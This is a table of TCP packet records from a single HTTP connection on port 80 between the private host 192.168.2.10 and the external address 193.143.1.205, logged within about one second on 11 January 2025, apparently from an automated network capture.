Jan 11, 2025 05:35:35.537596941 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537610054 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.537623882 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.537636042 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.538470984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538482904 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538496017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538501978 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538503885 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538513899 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538516045 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.538521051 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538535118 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.538570881 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.538578987 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.539477110 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539488077 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539499044 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539515972 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539515972 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.539527893 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539535046 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.539541006 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539552927 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539563894 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.539566040 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.539586067 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.543433905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543490887 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543493986 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.543503046 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543521881 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543534040 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543539047 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.543545961 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543559074 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543561935 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.543590069 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.543667078 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543677092 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.543704987 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.569511890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.569525003 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.569535971 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.569612980 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618779898 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618798971 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618810892 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618823051 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618835926 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618844986 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618849039 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618864059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618871927 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618877888 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618891001 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618911028 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618913889 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618922949 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618932009 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618935108 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618947029 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618961096 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.618968964 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.618997097 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.657846928 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657861948 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657886028 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.657931089 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657944918 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657960892 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657963037 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.657978058 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.657994986 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658008099 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658025980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658039093 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658041954 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658051968 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658075094 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658123016 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658133984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658145905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658153057 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658178091 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658179045 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658204079 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658235073 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658252001 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658263922 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658293962 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658296108 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658308029 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658339024 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658356905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658389091 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658416033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658421040 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658545017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658555984 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658566952 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658576012 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658603907 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658637047 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658648014 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658659935 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658674002 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658679008 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658679962 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658684969 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658704996 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658740044 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658823967 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658840895 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658852100 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658864975 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658868074 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658883095 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658899069 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658899069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658911943 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658926010 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.658931017 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658957005 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.658988953 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659001112 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659012079 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659029007 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659085035 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659096003 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659106970 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659117937 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659135103 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659200907 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659212112 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659224033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659255028 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659277916 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659288883 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659298897 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659311056 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659322023 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659347057 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659349918 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659362078 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659375906 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.659395933 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.659421921 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.662682056 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662727118 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662740946 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662759066 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.662770033 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662781954 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662792921 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662806988 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.662821054 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.662965059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662985086 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.662997007 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663007975 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663018942 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663028955 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663032055 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663044930 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663047075 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663060904 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663075924 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663086891 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663089991 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663103104 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663115978 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663135052 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663137913 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663152933 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663163900 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663168907 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663176060 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663187027 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663192034 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663197994 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663212061 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663217068 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663239956 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663412094 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663423061 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663435936 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663454056 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663573980 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663587093 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663599968 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663604975 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663613081 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663626909 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663633108 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663645983 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663659096 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663664103 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663682938 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663695097 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663707972 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663708925 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663721085 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663733959 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663738012 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663747072 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663764000 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663780928 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663897991 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663916111 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663928032 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663939953 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663945913 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.663955927 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.663973093 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705547094 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705559969 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705571890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705584049 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705600977 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705601931 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705621004 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705630064 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705638885 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705651045 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705661058 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705672026 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705672979 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705684900 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705708981 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705719948 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705734015 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705737114 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705748081 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705764055 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705774069 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705786943 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705797911 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705809116 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705812931 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705827951 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705894947 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705905914 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705916882 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705926895 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.705933094 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.705946922 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745091915 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745116949 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745132923 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745143890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745167017 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745178938 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745189905 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745191097 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745208025 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745219946 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745223999 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745233059 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745245934 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745259047 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745285988 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745321035 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745332956 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745345116 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745358944 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745371103 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745373011 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745385885 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745398998 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745403051 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745424032 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745424986 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745443106 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745466948 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745495081 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745506048 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745516062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745527983 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.745546103 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.745546103 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.746341944 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746355057 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746366978 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746377945 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746387959 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.746388912 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746400118 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746403933 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.746413946 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.746433973 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.746457100 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:35.960984945 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:35.961055040 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.145190001 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.151046038 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.151062965 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.151076078 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.151097059 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.156238079 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161139965 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161158085 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161173105 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161194086 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161225080 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161269903 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161282063 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161300898 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161313057 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161323071 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161325932 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161339998 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161353111 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161355019 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161367893 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161375999 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161381960 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161393881 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161401987 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161406994 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161427975 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161427975 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161439896 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161472082 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161604881 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161617994 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161628962 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161642075 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161642075 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161657095 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161663055 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161668062 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161669016 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161681890 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161695004 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161700964 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161710024 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161722898 CET	80	49739	193.143.1.205	192.168.2.10
Jan 11, 2025 05:35:36.161739111 CET	49739	80	192.168.2.10	193.143.1.205
Jan 11, 2025 05:35:36.161761999 CET	80	49739	193.143.1.205	192.168.2.10
